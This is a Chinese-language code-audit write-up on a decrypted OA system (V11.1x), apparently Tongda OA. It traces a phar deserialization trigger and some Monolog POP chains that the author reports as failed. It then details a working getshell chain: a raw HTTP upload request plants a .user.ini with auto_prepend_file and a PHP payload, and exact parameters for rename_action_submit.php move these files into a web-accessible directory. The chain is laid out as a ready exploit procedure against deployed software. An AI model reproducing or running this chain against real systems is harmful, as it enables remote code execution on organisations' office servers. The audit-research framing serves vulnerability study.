概述
版本:V11.1x
因为一次偶然的机遇,拿到了某达OA的源码,用SeayDzend对源码进行了解密(如果不想手动解密的同学可以去下载这款工具进行解密)由于是某位同事直接发的压缩包我这里就不放链接了。
phar反序列化
触发点
依旧是全局搜索phar反序列化的关键字,这里我有个审计思路分享,当环境搭建起来以后,我会结合网站和源码一起找到路由和文件对应的关系。
如果环境没有搭建起来,先看看源码架构,看一下包含什么目录;从 index.php 开始跟踪分析包含的文件,看看有什么文件会处理路由,且观察到怎么处理,关于PHP代码审计,我的第一直觉是看看有没有可以直接利用的RCE,或者是任意文件写入等漏洞,可以去网上搜一下PHP的漏洞相关的危险函数。
file_nums.php
根据VScode全局搜索定位到这个php文件下
路由:/general/netdisk/file_nums.php?DIR=phar://
<?php require_once "inc/auth.inc.php";include_once "inc/utility_file.php";include_once "inc/utility_all.php";ob_end_clean();$DIR = iconv2os($DIR);$msg = sprintf(_("共%d个文件"), dir_file_nums("$DIR"));echo $msg;?>
POP链构造
任意文件删除
Shared\XMLWriter.php(失败)
失败原因
原因 :该XMLWriter.php中 没有命名空间,反序列化调用不了该类。
public function __destruct()
{
if ($this->tempFileName != "") {
@unlink($this->tempFileName);
}
}
总结
总结:寻找反序列化链的时候,需要先确定该类是否有命名空间。
RCE
链一
__destruct -> close() -> flush() -> handleBatch() ->handle()
__destruct(没有找到到 close)
-->close()
namespace Monolog;
class Handler\BufferHandler extends Handler\AbstractHandler
public function close()
{
$this->flush();
}
--> flush()
public function flush()
{
if ($this->bufferSize === 0) {
return NULL;
}
$this->handler->handleBatch($this->buffer);
$this->clear();
}
-->handleBatch()
Handler\AbstractHandler类
public function handleBatch($records)
{
foreach ($records as $record ) {
$this->handle($record);
}
}
->handle()
inc\vendor\Mondog\Handler\FingersCrossedHandler.php
Handler\FingersCrossedHandler
public function handle($record)
{
if ($this->processors) {
foreach ($this->processors as $processor ) {
$record = Handler\call_user_func($processor, $record);
}
}
链子二
--destruct -> close ->flush ->handleBatch -> processRecord -->
__destruct(没有找到到 close)
__close
namespace Monolog;
class Handler\BufferHandler extends Handler\AbstractHandler
public function close()
{
$this->flush();
}
__flush
public function flush()
{
if ($this->bufferSize === 0) {
return NULL;
}
$this->handler->handleBatch($this->buffer);
$this->clear();
}
__handleBatch
namespace Monolog;
Handler\ChromePHPHandler extends Handler\AbstractProcessingHandler
public function handleBatch($records)
{
$messages = array();
foreach ($records as $record ) {
if ($record["level"] < $this->level) {
continue;
}
$messages[] = $this->processRecord($record);
}
if (!empty($messages)) {
$messages = $this->getFormatter()->formatBatch($messages);
self::$json["rows"] = Handler\array_merge(self::$json["rows"], $messages);
$this->send();
}
}
processRecord
namespace Monolog;
Handler\AbstractProcessingHandler
protected function processRecord($record)
{
if ($this->processors) {
foreach ($this->processors as $processor ) {
$record = Handler\call_user_func($processor, $record);
}
}
return $record;
}
失败原因
- 第一步找 destruct 到 close()的位置出错
- 看走眼,以为close的对象可以控,this->close(); 看成 this->$object->close();
- 也是不够清楚,$this->handle是不可控的,我当时把它误认为对象可控,导致继续找一个实现handle方法的类,浪费了时间。
- 尝试过_call方法,但是没有成功
- 往下找链的时候,记录的链过程没有条理,容易出现混乱
- 找链过程中,查找过程,经常性归零 从__destruct重新开始 (找链过程记录不清晰)
总结
- 找链中,第一时间排除没带命名空间的类作为节点。
- 找链应该从 __destruct开始往下延伸,每一步都做好记录。记录当前第几部,什么类满足条件,从该类扩展。画一条树状图
比如
__destruct class test1 { public function __destruct() { $this->handler->method1(); } } ->method1() class test2 { public function method1() { echo "hello"; } } --------------------------- class test3 { public function method1() { exit(0); } } test1 -> test2 test1 -> test3
文件上传+文件移动+文件包含--GETSHELL
文件上传分析
http://192.168.0.30/general/index.php?isIE=0&modify_pwd=0
在文件柜中会有批量上传的功能点,能够上传非PHP的任意文件
POST /module/upload/upload.php HTTP/1.1
Host: 192.168.20.155
Content-Length: 893
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBjizN8lhmbodA9BJ
Accept: */*
Origin: http://192.168.20.155
Referer: http://192.168.20.155/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d6vfb3q7c6tge1n3lqfq93ng9t; USER_NAME_COOKIE=lijia; OA_USER_ID=2; SID_2=37ba94af; KEY_RANDOMDATA=15553
Connection: close
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="module"
file_folder
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="id"
WU_FILE_0
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="name"
test.ini
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="type"
application/octet-stream
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="lastModifiedDate"
Thu Aug 01 2024 23:20:39 GMT+0800 (中国标准时间)
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="size"
27
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="Filedata"; filename="test.ini"
Content-Type: application/octet-stream
auto_prepend_file=hello.txt
------WebKitFormBoundaryBjizN8lhmbodA9BJ--
分析数据包:
module: 目录
name: 文件名 -- 内容上传文件名
filename: 文件名
前台抓包可以知道
\moudle\upload\upload.php处理的上传逻辑
upload.php
路径:\moudle\upload\upload.php
$ATTACH_NAME = $FILE_NAME;
$SEND_TIME = time();
$ATTACHMENTS = upload($new_name, $module, false);
省略些代码,跟踪upload($new_name, $module, false)
utility_file.php
路径:inc\utility_file.php
upload()
function upload($PREFIX, $MODULE, $OUTPUT)
{
/********上传的MODULE目录********/
if (strstr($MODULE, "/") || strstr($MODULE, "\\")) {
if (!$OUTPUT) {
return _("参数含有非法字符。");
}
Message(_("错误"), _("参数含有非法字符。"));
exit();
}
/*******检测文件后缀*************/
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}
/*******
}
td_path_valid()
总结:若目标路径是webroot,则必须也包含 attachment
if ($func_name == "td_fopen") {
$whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";
if (((strpos($source, "webroot\inc") !== false) || (strpos($source, "webroot/inc") !== false)) && find_id($whitelist, $basename)) {
return true;
}
}
if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {
return false;
}
else {
return true;
}
is_uploadable
总结:上传的文件,不允许后缀名前三位是php
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
$EXT_NAME = filename_valid($EXT_NAME);
if ((td_trim($EXT_NAME) == "") || (td_trim(strtolower(substr($EXT_NAME, 0, 3))) == "php")) {
return false;
}
由于,我们并不能上传. php文件,有任意文件上传的漏洞,咱们尝试能不能上传 .user.ini 或 .htaccess 对目标文件进行包含或者解析。
这里某达OA是nginx服务器,只能通过.user.ini来对 其它文件进行包含。
思路如下:上传hello.txt文件,上传.user.ini文件,给.user.ini文件下移个没有的 php 文件。
文件移动函数的分析
源码
general/picture/rename_action_submit.php
路由: /general/picture/rename_action_submit.php
<?php
require_once "inc/auth.inc.php";
include_once "inc/header.inc.php";
include_once "inc/utility_all.php";
include_once "inc/utility_file.php";
if (substr($PIC_PATH, -1, 1) == "/") {
$CUR_DIR = $PIC_PATH . $SUB_DIR;
}
else {
$CUR_DIR = $PIC_PATH . "/" . $SUB_DIR;
}
if (stristr($FILE_NAME, "/") || stristr($FILE_NAME, "\\") || stristr($FILE_NAME, "?") || stristr($FILE_NAME, "*") || stristr($FILE_NAME, "\"") || stristr($FILE_NAME, "<") || stristr($FILE_NAME, ":") || stristr($FILE_NAME, ">") || stristr($FILE_NAME, "|")) {
Message(_("错误"), _("参数含有非法字符。"));
Button_Back();
exit();
}
$CACHE_DIR_NAME_OLD = $CUR_DIR . "/tdoa_cache/" . $PIC_NAME;
$CACHE_DIR_NAME_MEDIUM_OLD = $CUR_DIR . "/tdoa_cache/medium_" . $PIC_NAME;
$PIC_PATH_OLD = $CUR_DIR . "/" . $PIC_NAME;
$FILE_TYPE = substr($PIC_NAME, strrpos($PIC_NAME, "."));
$PIC_PATH = $CUR_DIR . "/" . $NEW_NAME . $FILE_TYPE;
$CACHE_PIC_PATH = $CUR_DIR . "/tdoa_cache/" . $NEW_NAME . $FILE_TYPE;
$CACHE_PIC_PATH_MEDIUM = $CUR_DIR . "/tdoa_cache/medium_" . $NEW_NAME . $FILE_TYPE;
if (file_exists(iconv2os($PIC_PATH_OLD))) {
td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));
td_rename(iconv2os($CACHE_DIR_NAME_OLD), iconv2os($CACHE_PIC_PATH));
td_rename(iconv2os($CACHE_DIR_NAME_MEDIUM_OLD), iconv2os($CACHE_PIC_PATH_MEDIUM));
}
echo "<script>\r\nopener.location.reload();\r\nwindow.close();\r\n</script>";
?>
文件重命名操作
以第一条语句为例
td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));
若要实现文件移动: td_rename(Old_NAME, New_Name);
td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));
我们需要控制 $PIC_PATH_OLD,$PIC_PATH 分别为旧新文件名
文件路径控制
$CUR_DIR = $PIC_PATH . "/" . $SUB_DIR;
$PIC_PATH_OLD
$PIC_PATH_OLD = $CUR_DIR . "/" . $PIC_NAME;
$PIC_PATH
$PIC_PATH = $CUR_DIR . "/" . $NEW_NAME . $FILE_TYPE;
若实现:
旧文件:tonda/attach/file_folder/2408/17203783.hello.txt
新文件:/tonda /webroot/general/system/attachment/test/hello.txt
$CUR_DIR = "/tonda"; //为前部分共有的路径 $CUR_DIR = $PIC_PATH.'/'
$PIC_PATH= ”/tonda";
$PIC_NAME="/attach/file_folder/2408/17203783.hello.txt"; //旧文件后部分
$NEW_NAME=" /webroot/general/system/attachment/test/hello";//新文件后部分
补充
通过td_rename 移动文件/目录 到 webroot目录下 条件: 目标路径必须包含 attachment
td_rename - > is_uploadable -> td_path_valid
td_rename()
is_uploadable()
td_path_valid()
移动的文件后缀不能 包含 2a.php。所以我们得移动文件目录。
攻击过程
上传 .user.ini 和 hello.txt文件,造成文件上传 + 文件包含的漏洞。
实现路径
1.上传 1.ini
auto_prepend_file=hello.txt
2.上传 hello.txt
<?php echo "hello"?>
3.将文件移动到可访问的目录
- 1.ini -> /webroot/general/system/attachment/test/.user.ini
- hello.txt -> /webroot/general/system/attachment/test/.hello.txt
- 2a.php -> /webroot/general/system/attachment/test/2a.php
因为触发 .user.ini文件包含漏洞,需要存在一个php文件。在系统中找到一个满足条件的php,且不能影响业务逻辑。
webroot\attachment,不能直接路由访问,不做业务处理,不影响业务逻辑。在webroot/attachment里面找到了个php
存储在计算机中的文件名解密脚本
$ATTACHMENT_ID = '1231484566';
$ATTACHMENT_NAME = 'hello.txt';
echo $ATTACHMENT_ID ^ crc32($ATTACHMENT_NAME);
Content-Type: application/x-www-form-urlencoded
2a.php
移动整个目录
C:\tonda\webroot\attachment\office_auto\
/webroot/general/system/attachment/test/
NEW_NAME=../../general/system/attachment/test&PIC_PATH=/tonda/webroot/attachment/office_auto/
将hello.txt移动到
/webroot/general/system/attachment/test/
PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.hello.txt&NEW_NAME=/webroot/general/system/attachment/test/hello
将 1.ini移动到 .user.ini
/webroot/general/system/attachment/test/
PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.1.ini&NEW_NAME=/webroot/general/system/attachment/test/.user